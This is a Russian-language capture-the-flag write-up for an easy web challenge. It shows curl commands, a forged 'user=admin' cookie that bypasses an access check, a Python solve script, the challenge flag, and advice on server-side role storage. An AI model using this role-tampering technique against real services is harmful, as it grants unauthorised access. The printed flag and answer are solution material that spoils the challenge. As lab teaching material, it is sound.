Easy: writeup
ссылка на задание http://f8tasks.ru/challenges#EASY-17
Easy
| Category | Web |
| Difficulty | Easy |
| Vulnerability | Client-Side Trust / Cookie Role Tampering |
| Flag | flag{repl4cing_co0kies_is_3asy} |
Recon
Без лишних слов. Держи! wsr.gmax.pro:33000
Артефакты: живой HTTP-сервис; вместе с условием выдан API-ключ 89d330593...f6176.
curl -sv http://wsr.gmax.pro:33000/
HTTP/1.1 200 OK
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.2.34
Set-Cookie: user=user
Access Denied
Ключевые наблюдения:
X-Powered-By: PHP/7.2.34— PHP на сервере.Set-Cookie: user=user— сервер сам ставит cookie и называет её по роли.- Тело ответа:
Access Denied.
API-ключ из условия — ложный след. Проверяем три стандартных варианта:
curl -si -H 'X-API-Key: 89d330593fefbc75a4642b7841c8f39e5349abe1a8cda0afd948b347afaf6176' http://wsr.gmax.pro:33000/
curl -si -H 'Authorization: Bearer 89d330593fefbc75a4642b7841c8f39e5349abe1a8cda0afd948b347afaf6176' http://wsr.gmax.pro:33000/
curl -si 'http://wsr.gmax.pro:33000/?api_key=89d330593fefbc75a4642b7841c8f39e5349abe1a8cda0afd948b347afaf6176'
Все три: Access Denied. Ключ не является центром задачи — видеть его в условии не значит, что он главный. Реальная зацепка уже в ответе: Set-Cookie: user=user.
Cookie Role Tampering
Cookie — небольшой текстовый файл, который сервер кладёт в браузер клиента и получает обратно при каждом запросе. Клиент хранит cookie у себя и может изменить её значение.
Аналогия: сервер выдал нам бейджик с надписью user=user. Охранник смотрит только на надпись. Что будет, если поменять надпись на user=admin?
Ключевой вопрос: использует ли сервер значение cookie при проверке доступа — и проверяет ли он его подлинность?
Ручная проверка — подмена user=user на user=admin:
curl -i -b 'user=admin' http://wsr.gmax.pro:33000/
Ответ сервера:
Access Granted. The flag is flag{repl4cing_co0kies_is_3asy}
Охранник поверил. Сервер принял подменённую cookie без какой-либо дополнительной проверки.
Exploitation
| Шаг | Действие | Команда / наблюдение |
|---|---|---|
| 1 | Получить обычный ответ сервиса | curl -sv http://wsr.gmax.pro:33000/ |
| 2 | Заметить Set-Cookie: user=user в заголовках ответа | — |
| 3 | Проверить API-ключ тремя стандартными способами | Все три → Access Denied |
| 4 | Подменить cookie: user=user → user=admin | curl -i -b 'user=admin' http://wsr.gmax.pro:33000/ |
| 5 | Прочитать флаг из тела ответа | flag{repl4cing_co0kies_is_3asy} |
Root cause — предположительно такая проверка на сервере:
if ($_COOKIE['user'] === 'admin') {
echo 'Access Granted. The flag is ...';
} else {
echo 'Access Denied';
}
Cookie хранится у клиента — её значение ничем не подписано и не привязано к сессии.
Правильный подход в реальных системах:
- хранить роль на сервере, не у клиента
- использовать сессии с серверным хранилищем
- подписывать чувствительные данные (например, JWT с проверкой подписи)
- никогда не доверять данным от клиента без независимой проверки
Automation
#!/usr/bin/env python3
import re
import sys
from http.cookiejar import CookieJar
from urllib.request import HTTPCookieProcessor, Request, build_opener
def main() -> int:
url = sys.argv[1] if len(sys.argv) > 1 else "http://wsr.gmax.pro:33000/"
jar = CookieJar()
opener = build_opener(HTTPCookieProcessor(jar))
opener.addheaders = [("Cookie", "user=admin")] # подставляем роль admin
# отправляем GET-запрос с подменённой cookie
with opener.open(Request(url), timeout=10) as response:
body = response.read().decode("utf-8", errors="replace")
# ищем флаг в теле ответа по шаблону flag{...}
match = re.search(r"flag\{[^}]+\}", body)
if not match:
print("flag not found")
return 1
print(match.group(0))
return 0
if __name__ == "__main__":
raise SystemExit(main())
python3 solve.py
Ожидаемый вывод:
flag{repl4cing_co0kies_is_3asy}
Key Takeaways
Client-Side Trust. Если сервер читает роль из cookie и не проверяет её подлинность — клиент может написать там что угодно. Cookie, hidden field, URL-параметр, JSON-поле: всё, что хранится у клиента, он может изменить.
Set-Cookie как разведывательный сигнал. Читаемые значения в cookie — первые кандидаты на подмену:
role=user,admin=false,debug=0,premium=no,id=1. Не видел заголовки ответа — не видел задачу.Дешёвый тест раньше дорогого. Замена одного значения cookie — одна команда. SQLi, SSRF и десериализацию берут в работу только после того, как исчерпаны наблюдения из заголовков. Если задача дала API-ключ — это не значит, что он главный.
